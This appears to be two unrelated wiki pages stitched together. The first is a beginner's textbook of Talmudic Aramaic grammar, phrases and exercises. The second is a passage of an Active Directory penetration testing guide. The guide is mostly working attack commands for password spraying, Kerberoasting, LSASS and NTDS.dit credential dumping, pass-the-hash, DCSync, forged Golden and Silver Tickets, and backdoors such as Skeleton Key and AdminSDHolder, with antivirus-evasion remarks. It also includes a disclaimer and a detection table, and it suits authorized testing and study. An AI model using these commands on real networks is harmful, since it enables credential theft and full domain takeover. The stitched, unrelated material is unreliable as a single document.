Example:

'''היכי דמי?'''

What exactly is the case?

Literally:

“How does it resemble?”

In Talmudic discussion, however, it normally asks how a particular legal case should be understood.
----

== היכא ==
'''היכא?'''

Where?
----

== אימת ==
'''אימת?'''

When?
----

== כמה ==
'''כמה?'''

How much?

How many?
----

= Chapter 6: “There Is” and “There Is Not” =
Two extremely important words are:

'''אית''' — there is, exists

'''לית''' — there is not, does not exist

When combined with the preposition '''ל־''', they commonly express possession.

=== Examples ===
'''אית ליה'''

He has.

Literally:

“There is to him.”
----'''לית ליה'''

He does not have.

Literally:

“There is not to him.”
----'''אית לה'''

She has.
----'''לית לה'''

She does not have.
----'''אית לן'''

We have.
----'''לית לן'''

We do not have.

=== Useful Forms ===
{| class=&quot;wikitable&quot;
!Aramaic
!English
|-
|לי
|to me
|-
|לך
|to you
|-
|ליה
|to him
|-
|לה
|to her
|-
|לן
|to us
|-
|לכו
|to you, plural
|-
|להו
|to them
|}
This construction is similar to possession structures found in many Semitic languages.
----

= Chapter 7: Personal Pronouns =
Common personal pronouns include:
{| class=&quot;wikitable&quot;
!Aramaic
!English
|-
|אנא
|I
|-
|אנת
|you, singular
|-
|איהו
|he
|-
|איהי
|she
|-
|אנן
|we
|-
|אתון
|you, plural
|-
|אינהו
|they
|}
Examples:

'''אנא אמרי'''

I say.
----'''איהו אמר'''

He said.
----'''אינהו אמרי'''

They say.

Exact forms may vary according to manuscript tradition, dialectal form, grammatical environment, and period.
----

= Part II — The Verb =

= Chapter 8: The Past Tense =
As in Hebrew and other Semitic languages, many Aramaic past-tense forms express person, number, and gender through endings.

Using the root כתב:

'''כתב'''

he wrote
----'''כתבת'''

you wrote
----'''כתבו'''

they wrote

Common verbs in Talmudic Aramaic include:
{| class=&quot;wikitable&quot;
!Aramaic
!English
|-
|אמר
|said
|-
|סבר
|thought, held the opinion
|-
|אזל
|went
|-
|אתא
|came
|-
|יתיב
|sat
|-
|קם
|stood
|-
|חזא
|saw
|-
|שמע
|heard
|-
|עבד
|did, made
|-
|אשכח
|found
|}
Learning these high-frequency verbs gives the student rapid access to narrative and argumentative passages.
----

= Chapter 9: The Participle and the Particle קא =
Aramaic frequently uses participial constructions.

A very common Talmudic pattern includes the particle:

'''קא'''

Example:

'''קאמר'''

he is saying

or, depending on context:

he says
----'''קא עביד'''

he is doing
----'''קא אזיל'''

he is going
----'''קאמר ליה'''

he says to him

The particle '''קא''' often helps mark an ongoing or current action, but it should not be treated as a simple mechanical equivalent of the English present progressive.

Its function depends on dialect and context.
----

= Chapter 10: Future and Modal Forms =
Future forms in Aramaic frequently resemble those of other Semitic languages, but many high-frequency verbs have irregular or contracted forms.

Examples:

'''אימא'''

I will say.

It can also mean:

Let me say.
----'''איעביד'''

I will do.

Future forms may also carry modal meanings such as:

* possibility
* intention
* command
* suggestion
* hypothetical action

Context is therefore essential.
----

= Chapter 11: Commands =
Common commands include:

'''תא'''

Come.
----'''תא שמע'''

Come and hear.

This is one of the most famous expressions in the Talmud.

In argumentative context it means approximately:

“Come and consider this source.”

or:

“Here is evidence.”
----'''חזי'''

See.
----'''שמע'''

Hear.
----'''קום'''

Stand up.
----'''זיל'''

Go.

Example:

'''זיל חזי'''

Go and see.
----

= Part III — Essential Syntax =

= Chapter 12: The Particle ד־ =
The particle '''ד־''' is one of the most important elements in Aramaic.

It can serve several functions.

== Possession ==
'''ביתא דרב'''

the house of Rav
----

== Relative Clause ==
'''גברא דאמר'''

the man who said
----

== Content Clause ==
'''אמר ד...'''

He said that...
----

== Explanation or Relationship ==
Depending on context, '''ד־''' may correspond to English:

* of
* who
* which
* that
* because
* belonging to

It must therefore be translated according to its syntactic role.
----

= Chapter 13: מן — “From” =
'''מן'''

means:

from

or:

out of

Example:

'''מן הכא'''

from here

hence
----A famous expression is:

'''מנא לן?'''

From where do we know this?

The phrase is used when the Talmud asks for the textual or logical source of a rule.
----

= Chapter 14: נמי — “Also” =
'''נמי'''

usually means:

also

too

as well

Example:

'''הכא נמי'''

here too

also here
----'''איהו נמי'''

he too
----

= Chapter 15: הא =
The particle '''הא''' may introduce, point to, or emphasize something.

Examples:

'''הא גברא'''

this man

behold the man
----'''הא קמן'''

Here it is before us.

The exact translation depends heavily on context.
----

= Chapter 16: Negation =
Several forms are used for negation.

== לא ==
ordinary negation:

not

Example:

'''לא אמר'''

He did not say.
----

== לית ==
there is not

Example:

'''לית ליה'''

He does not have.
----

== לאו ==
not

is it not?

is this not?

Example:

'''לאו מילתא היא'''

It is not a valid argument.

Literally:

“It is not a matter.”
----

= Part IV — The Language of Talmudic Argumentation =

= Chapter 17: Basic Discussion Formulae =
The Babylonian Talmud uses many recurring expressions to organize discussion.

Learning these expressions is as important as learning vocabulary.
----

== אמר מר ==
'''אמר מר'''

“The master said.”

This expression returns to a statement previously quoted.
----

== גופא ==
'''גופא'''

literally:

“the body itself”

In context:

“Returning to the matter itself.”

It introduces renewed discussion of a source or statement previously mentioned incidentally.
----

== פשיטא ==
'''פשיטא'''

It is obvious.

This often introduces the question:

Why did the source need to state something apparently self-evident?
----

== מהו דתימא ==
'''מהו דתימא'''

One might have thought...

Literally:

“What might you say?”

This introduces a possible but ultimately rejected interpretation.
----

== קא משמע לן ==
'''קא משמע לן'''

It teaches us.

Literally:

“It causes us to hear.”

This normally introduces the real point or novelty of a teaching.

A common argumentative structure is:

'''פשיטא'''

Obviously...

'''מהו דתימא'''

You might have thought...

'''קא משמע לן'''

Therefore it teaches us...
----

= Chapter 18: Objections and Resolutions =
A large portion of Talmudic discussion consists of objections, contradictions, resolutions, and distinctions.

== מיתיבי ==
'''מיתיבי'''

An objection is raised.

More specifically, this often introduces a challenge from a Tannaitic source.
----

== ורמינהו ==
'''ורמינהו'''

A contradiction is raised between sources.

Approximately:

“Set this against that.”
----

== קשיא ==
'''קשיא'''

It is difficult.

There is a difficulty.
----

== לא קשיא ==
'''לא קשיא'''

It is not difficult.

There is no contradiction.

A common structure is:

'''לא קשיא; הא... הא...'''

There is no contradiction.

This case refers to...

while that case refers to...
----

= Chapter 19: שמע מינה =
'''שמע מינה'''

literally:

“Hear from it.”

In idiomatic English:

Learn from this.

We may infer from this.

A common expression is:

'''שמע מינה תרתי'''

Learn two things from this.
----

= Chapter 20: תיקו =
'''תיקו'''

marks an unresolved question in the Talmud.

It means that the problem remains standing without a final resolution in the present discussion.

A popular later interpretation treats תיקו as an acronym for:

'''תשבי יתרץ קושיות ובעיות'''

“Elijah the Tishbite will resolve difficulties and problems.”

However, this is not the historical linguistic origin of the Talmudic word.

For practical reading, simply understand:

'''תיקו'''

The question remains unresolved.
----

= Part V — Essential Vocabulary =

= Chapter 21: One Hundred Useful Words =
{| class=&quot;wikitable&quot;
!Aramaic
!English
|-
|אבא
|father
|-
|אחא
|brother
|-
|בר
|son
|-
|ברתא
|daughter
|-
|גברא
|man
|-
|איתתא
|woman
|-
|רב
|great, master, rabbi
|-
|זוטא
|small
|-
|חד
|one
|-
|תרי
|two
|-
|תלת
|three
|-
|ארבע
|four
|-
|חמש
|five
|-
|יומא
|day
|-
|ליליא
|night
|-
|שתא
|year
|-
|שעתא
|hour
|-
|ביתא
|house
|-
|ארעא
|land
|-
|שמיא
|heaven
|-
|נהרא
|river
|-
|מיא
|water
|-
|נורא
|fire
|-
|רישא
|head
|-
|ידא
|hand
|-
|כרעא
|leg
|-
|עינא
|eye
|-
|ליבא
|heart
|-
|פומא
|mouth
|-
|קלא
|voice
|-
|מילתא
|matter, word, thing
|-
|טעמא
|reason
|-
|דינא
|law, judgment
|-
|עובדא
|event, case, deed
|-
|תלמודא
|study, learning
|-
|ספרא
|book
|-
|אמר
|said
|-
|סבר
|thought, held
|-
|ידע
|knew
|-
|שמע
|heard
|-
|חזא
|saw
|-
|אזל
|went
|-
|אתא
|came
|-
|יתיב
|sat
|-
|קם
|stood
|-
|נפל
|fell
|-
|עבד
|did
|-
|יהב
|gave
|-
|שקל
|took
|-
|אשכח
|found
|-
|בעי
|asked, required, wanted
|-
|בעא
|wanted, sought
|-
|אכל
|ate
|-
|שתי
|drank
|-
|כתב
|wrote
|-
|קרי
|read, called
|-
|למד
|learned
|-
|אמרי
|they say
|-
|מאי
|what
|-
|מאן
|who
|-
|היכי
|how
|-
|היכא
|where
|-
|אימת
|when
|-
|כמה
|how much, how many
|-
|מנא
|from where
|-
|הכא
|here
|-
|התם
|there
|-
|השתא
|now
|-
|מעיקרא
|originally
|-
|נמי
|also
|-
|טפי
|more
|-
|שפיר
|well, properly
|-
|ודאי
|certainly
|-
|אפשר
|possible
|-
|אסור
|forbidden
|-
|שרי
|permitted
|-
|חייב
|liable, obligated
|-
|פטור
|exempt
|-
|אית
|there is
|-
|לית
|there is not
|-
|הוה
|was
|-
|הוי
|be, was, became
|-
|ליה
|to him
|-
|לה
|to her
|-
|להו
|to them
|-
|לן
|to us
|-
|מיניה
|from him, from it
|-
|בה
|in her, in it
|-
|ביה
|in him, in it
|-
|עליה
|upon him, concerning him
|-
|קמיה
|before him
|-
|בתריה
|after him
|-
|משום
|because of
|-
|כיון
|since, once
|-
|אלא
|rather, but
|-
|אי
|if
|-
|דלמא
|perhaps
|-
|אפילו
|even
|-
|כולי
|all
|-
|טובא
|much, many
|-
|זימנא
|time, occasion
|}
----

= Part VI — Guided Reading =

= Chapter 22: First Passage =
'''אמר רב: מאי טעמא? משום דלית ליה.'''

Breakdown:

'''אמר רב'''

Rav said.
----'''מאי טעמא?'''

What is the reason?
----'''משום ד־'''

because

because of the fact that
----'''לית ליה'''

he does not have
----

=== Translation ===
Rav said:

“What is the reason? Because he does not have it.”
----

= Chapter 23: Second Passage =
'''ההוא גברא דאתא לקמיה דרבא.'''

Breakdown:

'''ההוא'''

that
----'''גברא'''

man
----'''דאתא'''

who came
----'''לקמיה'''

before him
----'''דרבא'''

of Rava

before Rava

=== Translation ===
“That man who came before Rava.”

The expression:

'''ההוא גברא'''

“that man”

is extremely common in Talmudic narrative passages.
----

= Chapter 24: Third Passage =
'''אמר ליה: זיל, תא למחר.'''

Breakdown:

'''אמר ליה'''

He said to him.
----'''זיל'''

Go.
----'''תא'''

Come.
----'''למחר'''

tomorrow.

=== Translation ===
He said to him:

“Go, and come tomorrow.”
----

= Chapter 25: A Typical Logical Pattern =
Consider:

'''פשיטא! מהו דתימא... קא משמע לן.'''

This is a classic Talmudic argumentative structure.

=== Stage 1 ===
'''פשיטא'''

The teaching seems obvious.

=== Stage 2 ===
'''מהו דתימא'''

The Talmud explains that one could have reached another conclusion.

=== Stage 3 ===
The alternative interpretation is presented.

=== Stage 4 ===
'''קא משמע לן'''

The teaching is therefore necessary in order to reject that alternative.

Understanding such structures makes Talmudic reading much easier.
----

= Part VII — Exercises =

= Chapter 26: Translate into English =
Translate:

# מאי טעמא?
# אית ליה ספר.
# לית לן מיא.
# ההוא גברא אתא.
# אמר ליה רבא.
# הכא נמי.
# שמע מינה.
# תא שמע.
# מאן אמר?
# היכי דמי?

=== Answers ===

# What is the reason?
# He has a book.
# We have no water.
# That man came.
# Rava said to him.
# Here too.
# Learn from this.
# Come and hear.
# Who said it?
# What exactly is the case?

----

= Chapter 27: Translate into Aramaic =
Translate:

# He has.
# He does not have.
# Who said it?
# What is the reason?
# Come and hear.
# That man.
# Here too.
# He said to him.
# Learn from this.
# Where is he?

=== Possible Answers ===

# אית ליה
# לית ליה
# מאן אמר?
# מאי טעמא?
# תא שמע
# ההוא גברא
# הכא נמי
# אמר ליה
# שמע מינה
# היכא איהו?

----

= Part VIII — How to Read the Talmud =

= Chapter 28: A Five-Step Reading Method =
When approaching a Talmudic passage, do not immediately attempt to translate every word.

Use the following method.

== Step 1: Find the Verbs ==
Look for words such as:

'''אמר'''

said

'''סבר'''

thought

'''בעי'''

asked

'''תנן'''

we learned in the Mishnah

'''תניא'''

it was taught in a Baraita

'''מיתיבי'''

an objection was raised

These forms reveal the actions taking place in the discussion.
----

== Step 2: Find the Connectors ==
Look for:

'''ד־'''

that, of, who

'''אי'''

if

'''אלא'''

rather

'''משום'''

because

'''כיון'''

since

'''נמי'''

also

These words reveal the logical structure.
----

== Step 3: Identify the Speaker ==
Ask:

Who is speaking?

Is this:

* the Mishnah?
* a Baraita?
* an Amora?
* an anonymous editorial voice?
* a quoted authority?

This distinction is essential.
----

== Step 4: Identify the Argumentative Function ==
Ask whether the sentence is:

* a question
* an answer
* an objection
* a proof
* a rejection
* a distinction
* a conclusion

----

== Step 5: Translate Only After Understanding the Structure ==
Do not treat the Talmud as a sequence of isolated dictionary entries.

First understand what the argument is doing.

Then translate.
----

= Chapter 29: Signposts in Talmudic Discussion =
{| class=&quot;wikitable&quot;
!Expression
!Function
|-
|מנא הני מילי
|asks for the source
|-
|מאי טעמא
|asks for the reason
|-
|פשיטא
|declares something obvious
|-
|מהו דתימא
|introduces a possible alternative
|-
|קא משמע לן
|states the intended teaching
|-
|מיתיבי
|raises an objection
|-
|ורמינהו
|raises a contradiction
|-
|לא קשיא
|resolves a contradiction
|-
|תא שמע
|introduces evidence
|-
|שמע מינה
|draws an inference
|-
|איבעיא להו
|introduces a question
|-
|תיקו
|leaves a question unresolved
|-
|גופא
|returns to a previous topic
|-
|אמר מר
|returns to a quoted statement
|}
Memorizing these expressions dramatically improves reading speed.
----

= Part IX — Aramaic and Hebrew Compared =

= Chapter 30: Sound Correspondences =
Hebrew and Aramaic are closely related Semitic languages.

Many cognate roots show systematic historical sound correspondences.

One well-known example is:

Hebrew:

'''זהב'''

gold

Aramaic:

'''דהבא'''

gold

Another major historical correspondence involves Hebrew '''ש''' and Aramaic '''ת''' in certain inherited Semitic words.

These relationships are useful, but they should not be applied mechanically.

Language change is historical and irregular enough that every unfamiliar word cannot simply be reconstructed from Hebrew.
----

= Chapter 31: Familiar-Looking Words with Different Functions =
Some Aramaic words look easy to a Hebrew reader but have several possible meanings.

== בעי ==
Depending on context, this may mean:

* asks
* wants
* seeks
* requires
* needs

----

== סבר ==
This can mean:

* thought
* held
* maintained the opinion
* reasoned

----

== עבד ==
This may mean:

* did
* made
* performed

----

== חזי ==
This may mean:

* see
* look
* observe
* be worthy or suitable

Context is therefore more important than any one-word dictionary equivalent.
----

= Part X — Toward Independent Reading =

= Chapter 32: Practice Sentences =

== Sentence 1 ==
'''אמר רב יוסף: הכא במאי עסקינן?'''

Translation:

Rav Yosef said:

“What are we dealing with here?”

This phrase introduces a reinterpretation of the circumstances of a case.
----

== Sentence 2 ==
'''אי הכי, מאי טעמא?'''

Translation:

If so, what is the reason?
----

== Sentence 3 ==
'''לא קשיא; הא בדידיה, הא בדחבריה.'''

Translation:

There is no contradiction.

This case concerns his own property, while that case concerns his fellow's property.
----

== Sentence 4 ==
'''תא שמע, דתניא...'''

Translation:

Come and hear, for it was taught in a Baraita...
----

== Sentence 5 ==
'''שמע מינה תרתי.'''

Translation:

Learn two things from this.
----

= Chapter 33: Common Contracted Forms =
Many Aramaic expressions consist of several elements fused together.

== דאמר ==
'''ד + אמר'''

who said

that said
----

== דאית ==
'''ד + אית'''

that there is

which has
----

== דלית ==
'''ד + לית'''

that there is not

which does not have
----

== דהוה ==
'''ד + הוה'''

that was

who was
----

== דקאמר ==
'''ד + קא + אמר'''

that he is saying

what he means when he says
----

== מאי שנא ==
What is different?

Why is this case different?
----

== מאי קא משמע לן ==
What is this teaching us?

What new point is being taught?
----

= Chapter 34: Final Analysis Exercise =
Analyze:

'''איתמר: אמר רבא, מאי טעמא? משום דכתיב... מיתיבי... לא קשיא.'''

=== Step 1 ===
'''איתמר'''

It was stated.

This often introduces an Amoraic discussion.
----

=== Step 2 ===
'''אמר רבא'''

Rava said.
----

=== Step 3 ===
'''מאי טעמא?'''

What is the reason?
----

=== Step 4 ===
'''משום דכתיב'''

Because it is written...

A biblical verse is about to be cited.
----

=== Step 5 ===
'''מיתיבי'''

An objection is raised.
----

=== Step 6 ===
'''לא קשיא'''

The objection is resolved.

Even before translating the full contents of the argument, the reader can already identify its structure:

# a teaching is introduced;
# Rava gives an opinion;
# the reason is requested;
# a verse is cited;
# an objection is raised;
# the contradiction is resolved.

This structural method is one of the most effective ways to learn Talmudic Aramaic.
----

= Conclusion =
Learning Jewish Babylonian Aramaic involves more than memorizing vocabulary.

The student must develop three related skills.

== 1. Language ==
Learn:

* vocabulary
* verb forms
* pronouns
* particles
* syntax

== 2. Argument Structure ==
Recognize:

* questions
* answers
* objections
* proofs
* distinctions
* conclusions

== 3. Literary Context ==
Learn to distinguish between:

* Mishnah
* Baraita
* Amoraic statements
* anonymous Talmudic discussion
* biblical citations

A student who learns several hundred high-frequency words and the principal formulas of Talmudic argumentation can begin reading short passages much earlier than might be expected.
----

= Appendix A — Suggested Course Plan =

=== Lessons 1–3 ===
Alphabet, basic vocabulary, personal pronouns.

=== Lessons 4–6 ===
Nouns, possession, the particle ד־, prepositions, and אית/לית.

=== Lessons 7–10 ===
Common verbs and verbal forms.

=== Lessons 11–14 ===
Question words and sentence structure.

=== Lessons 15–18 ===
Talmudic argumentative terminology.

=== Lessons 19–24 ===
Guided reading of short passages.

=== Lessons 25–30 ===
Independent reading of increasingly complex passages.

The goal at the end of the introductory course is for the student to open a relatively simple passage of the Babylonian Talmud, identify the main grammatical structures, follow the stages of the argument, and use a dictionary only for unfamiliar vocabulary.
----

= Appendix B — Recommended Learning Strategy =
A good daily routine is:

# Learn ten new words.
# Review twenty previously learned words.
# Read five short Aramaic sentences aloud.
# Identify every verb.
# Mark every occurrence of ד־.
# Identify the question or argument type.
# Translate the passage only after analyzing its structure.
# Re-read the passage without the translation.

With regular practice, recurring Talmudic structures become recognizable very quickly.
----

= Appendix C — Core Expressions to Memorize =
A beginner should know the following expressions almost automatically:

'''מאי טעמא?'''

What is the reason?

'''מנא לן?'''

From where do we know this?

'''היכי דמי?'''

What exactly is the case?

'''אי הכי'''

If so.

'''הכא נמי'''

Here too.

'''תא שמע'''

Come and hear.

'''שמע מינה'''

Learn from this.

'''פשיטא'''

Obviously.

'''מהו דתימא'''

One might have thought.

'''קא משמע לן'''

It teaches us.

'''מיתיבי'''

An objection is raised.

'''לא קשיא'''

There is no difficulty.

'''איבעיא להו'''

A question was raised before them.

'''תיקו'''

The question remains unresolved.

'''אמר מר'''

The master said.

'''גופא'''

Returning to the matter itself.

Mastering these expressions provides the student with the basic framework for beginning serious study of Jewish Babylonian Aramaic.</text>
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    <title>Active Directory Penetration Testing</title>
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= Active Directory Penetration Testing =
{{Wikibooks|subject=Security|stage=50%}}
This guide covers the methodology and techniques used by security professionals to assess the security posture of Microsoft Active Directory (AD) environments. It is intended for use in authorized penetration tests and educational lab environments only.

== Introduction ==
Active Directory (AD) is Microsoft's directory service used for identity and access management in enterprise networks. Because AD controls authentication and authorization for Windows environments, it is a primary target in penetration tests and real-world attacks.

This guide follows the standard penetration testing lifecycle:

# Reconnaissance
# Initial Access
# Privilege Escalation
# Lateral Movement
# Domain Compromise
# Persistence
# Reporting

=== Legal Disclaimer ===
{{Warning|All techniques described here must only be performed on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal and unethical.}}

=== Lab Setup ===
To practice safely, use a dedicated lab environment such as:

* [[github:Orange-Cyberdefense/GOAD|GOAD (Game of Active Directory)]] — a vulnerable AD lab
* [[github:AutomatedLab/AutomatedLab|AutomatedLab]] — automated Windows lab deployment
* Own virtual machines with Windows Server (evaluation licenses available from Microsoft)

Recommended tools:

* Kali Linux (attack machine)
* Windows Server 2019/2022 (domain controller)
* Windows 10/11 (workstations)

== Reconnaissance ==

=== External Reconnaissance ===
Before touching the network, gather OSINT:&lt;syntaxhighlight lang=&quot;bash&quot;&gt;
# Enumerate DNS records
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.local
dig _kerberos._tcp.domain.local SRV

# Discover domain controllers via LDAP
nmap -p 389,636,3268,3269 --open 192.168.1.0/24

# BloodHound collection (once inside the network)
SharpHound.exe --CollectionMethods All --Domain domain.local
&lt;/syntaxhighlight&gt;

=== Internal Enumeration ===
Once on the network, enumerate the AD environment:&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Built-in PowerShell AD module
Get-ADDomain
Get-ADForest
Get-ADUser -Filter * -Properties *
Get-ADGroup -Filter * | Where-Object { $_.GroupCategory -eq &quot;Security&quot; }
Get-ADComputer -Filter * -Properties OperatingSystem

# PowerView (from PowerSploit)
Import-Module PowerView.ps1
Get-NetDomain
Get-NetDomainController
Get-NetUser | Select samaccountname, description, pwdlastset
Get-NetGroup &quot;Domain Admins&quot; -FullData
Find-LocalAdminAccess   # Find machines where current user is local admin
&lt;/syntaxhighlight&gt;

== Initial Access ==

=== Password Spraying ===
Password spraying tests one or a few common passwords against many accounts to avoid lockout:&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Kerbrute (Go binary — fast, low noise)
kerbrute passwordspray -d domain.local --dc dc01.domain.local users.txt 'Password123!'

# CrackMapExec
crackmapexec smb dc01.domain.local -u users.txt -p 'Password123!' --continue-on-success
&lt;/syntaxhighlight&gt;'''Lockout awareness:''' Always check the domain's lockout policy before spraying:&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
Get-ADDefaultDomainPasswordPolicy
&lt;/syntaxhighlight&gt;

=== AS-REP Roasting ===
Accounts with ''Do not require Kerberos preauthentication'' set are vulnerable:&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Find vulnerable accounts
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Request AS-REP hash
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

# Crack offline
hashcat -m 18200 asrep_hashes.txt wordlist.txt
&lt;/syntaxhighlight&gt;

=== Kerberoasting ===
Service accounts with SPNs registered are vulnerable to offline password cracking:&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Find Kerberoastable accounts
Get-ADUser -Filter {ServicePrincipalName -ne &quot;$null&quot;} -Properties ServicePrincipalName

# Request service tickets
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Crack offline
hashcat -m 13100 kerberoast_hashes.txt wordlist.txt
&lt;/syntaxhighlight&gt;

== Privilege Escalation ==

=== Local Privilege Escalation ===
Common misconfigurations that lead to local admin:&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Automated enumeration
winpeas.exe
Invoke-AllChecks   # PowerUp

# Check for AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Unquoted service paths
wmic service get name,pathname,startmode | findstr /i &quot;auto&quot; | findstr /v &quot;C:\Windows&quot;

# Writable service binaries
accesschk.exe -uwcqv &quot;Users&quot; *
&lt;/syntaxhighlight&gt;

=== Token Impersonation ===
With local admin or SeImpersonatePrivilege:&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Check privileges
whoami /priv

# Potato attacks (if SeImpersonatePrivilege)
# GodPotato, PrintSpoofer, RoguePotato
PrintSpoofer.exe -i -c cmd.exe
&lt;/syntaxhighlight&gt;

== Credential Dumping ==

=== LSASS Memory Dump ===
&lt;syntaxhighlight lang=&quot;cmd&quot;&gt;
# Task Manager (GUI) — lsass.exe → Create Dump File

# comsvcs.dll (signed by Microsoft, bypasses most AV)
tasklist | findstr lsass
rundll32 C:\Windows\System32\comsvcs.dll MiniDump &lt;PID&gt; C:\Temp\lsass.dmp full

# Parse with pypykatz (on Linux)
pypykatz lsa minidump lsass.dmp
&lt;/syntaxhighlight&gt;

=== NTDS.dit Extraction ===
The NTDS.dit database contains all domain password hashes. It can only be extracted directly from a Domain Controller.&lt;syntaxhighlight lang=&quot;cmd&quot;&gt;
# ntdsutil — built-in Windows tool, not flagged by AV
ntdsutil &quot;ac i ntds&quot; &quot;ifm&quot; &quot;create full C:\Temp\IFM&quot; q q
&lt;/syntaxhighlight&gt;&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Parse with DSInternals PowerShell module
Install-Module -Name DSInternals -Force
Import-Module DSInternals

$key = Get-BootKey -SystemHivePath 'C:\Temp\IFM\registry\SYSTEM'
Get-ADDBAccount -All `
  -DBPath 'C:\Temp\IFM\Active Directory\ntds.dit' `
  -BootKey $key | Format-Custom -View HashcatNT
&lt;/syntaxhighlight&gt;&lt;syntaxhighlight lang=&quot;bash&quot;&gt;
# Parse on Linux with impacket
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
&lt;/syntaxhighlight&gt;

== Lateral Movement ==

=== Pass-the-Hash (PtH) ===
NTLM hashes can be used directly for authentication without cracking:&lt;syntaxhighlight lang=&quot;bash&quot;&gt;
# CrackMapExec
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH

# Impacket psexec
impacket-psexec -hashes :NTLM_HASH domain/Administrator@target

# Impacket wmiexec
impacket-wmiexec -hashes :NTLM_HASH domain/Administrator@target
&lt;/syntaxhighlight&gt;

=== Pass-the-Ticket (PtT) ===
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# List current Kerberos tickets
klist

# Import a .kirbi ticket
Rubeus.exe ptt /ticket:ticket.kirbi

# Verify access
dir \\dc01\c$
&lt;/syntaxhighlight&gt;

=== WinRM / PowerShell Remoting ===
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Check if WinRM is open
Test-NetConnection -ComputerName target -Port 5985

# Remote session
Enter-PSSession -ComputerName target -Credential domain\Administrator

# Run commands remotely
Invoke-Command -ComputerName target -ScriptBlock { whoami; ipconfig }
&lt;/syntaxhighlight&gt;

== Domain Compromise ==

=== DCSync Attack ===
With Domain Admin or DCSync rights (DS-Replication-Get-Changes-All), request domain password hashes directly from a DC without touching NTDS.dit:&lt;syntaxhighlight lang=&quot;bash&quot;&gt;
# Impacket secretsdump (from Linux — DC never sees Mimikatz)
impacket-secretsdump domain.local/DomainAdmin:Password@dc01.domain.local

# Output includes:
# Administrator:500:aad3b435...:NTLM_HASH:::
# krbtgt:502:aad3b435...:KRBTGT_HASH:::
&lt;/syntaxhighlight&gt;

=== Golden Ticket ===
A Golden Ticket is a forged Kerberos TGT signed with the KRBTGT account's hash. It grants unlimited access to any resource in the domain for up to 10 years (by default), even if user passwords change.

'''Requirements:'''

* KRBTGT NTLM hash (or AES256 key)
* Domain SID
* Domain name
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Create and inject Golden Ticket with Rubeus (Windows)
Rubeus.exe golden `
  /aes256:KRBTGT_AES256_KEY `
  /domain:domain.local `
  /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
  /user:Administrator `
  /ptt

# Verify
klist
dir \\dc01\c$
&lt;/syntaxhighlight&gt;&lt;syntaxhighlight lang=&quot;bash&quot;&gt;
# Create Golden Ticket with Impacket (Linux)
impacket-ticketer `
  -aesKey KRBTGT_AES256_KEY `
  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX `
  -domain domain.local `
  Administrator

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass dc01.domain.local
&lt;/syntaxhighlight&gt;{{Note|Use AES256 keys instead of RC4 (NTLM) hashes where possible. RC4-based Golden Tickets trigger Kerberos downgrade detections in modern SIEM/EDR solutions.}}

=== Silver Ticket ===
A Silver Ticket is a forged Kerberos service ticket (TGS) for a specific service. It does not require the KRBTGT hash — only the target service account's hash:&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Forge a CIFS service ticket for a file server
Rubeus.exe silver `
  /service:cifs/fileserver.domain.local `
  /rc4:SERVICE_ACCOUNT_NTLM_HASH `
  /domain:domain.local `
  /sid:S-1-5-21-XXXXXXXXXX `
  /user:Administrator `
  /ptt
&lt;/syntaxhighlight&gt;

== Persistence ==

=== Skeleton Key ===
Patches LSASS to allow any user to authenticate with a master password (requires domain admin, non-persistent across reboots):&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
Invoke-Mimikatz -Command '&quot;misc::skeleton&quot;'
# Now any account can authenticate with password &quot;mimikatz&quot;
&lt;/syntaxhighlight&gt;

=== AdminSDHolder Abuse ===
Modify AdminSDHolder ACL to grant persistent domain admin rights:&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
# Add user to AdminSDHolder ACL
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' `
  -PrincipalSamAccountName backdooruser `
  -Rights All -Verbose

# SDProp runs every 60 minutes and propagates rights to all protected groups
&lt;/syntaxhighlight&gt;

=== DSRM Account Abuse ===
The Directory Services Restore Mode (DSRM) local administrator account exists on every DC. Enable network login with its hash:&lt;syntaxhighlight lang=&quot;cmd&quot;&gt;
# Enable DSRM network login (registry change on DC)
reg add &quot;HKLM\System\CurrentControlSet\Control\Lsa&quot; /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

# Now use the DSRM hash with PTH
impacket-secretsdump -hashes :DSRM_HASH &quot;domain.local\Administrator@dc01&quot;
&lt;/syntaxhighlight&gt;

== Detection and Mitigation ==
Understanding attacks also helps defenders. Key mitigations:
{| class=&quot;wikitable&quot;
!Attack
!Detection
!Mitigation
|-
|Kerberoasting
|Event ID 4769 (RC4 TGS requests)
|Use strong service account passwords; AES encryption
|-
|AS-REP Roasting
|Event ID 4768 without pre-auth
|Enable pre-authentication on all accounts
|-
|DCSync
|Event ID 4662 (DS-Replication)
|Monitor DCSync rights; use MDI/ATA
|-
|Golden Ticket
|Event ID 4624 with unusual logon
|Rotate KRBTGT password twice; enable MDI
|-
|Pass-the-Hash
|Event ID 4624 (Type 3 logon)
|Enable Protected Users group; disable NTLM
|-
|LSASS Dump
|Event ID 10 (Sysmon)
|Enable Credential Guard; PPL for LSASS
|}

== Tools Reference ==

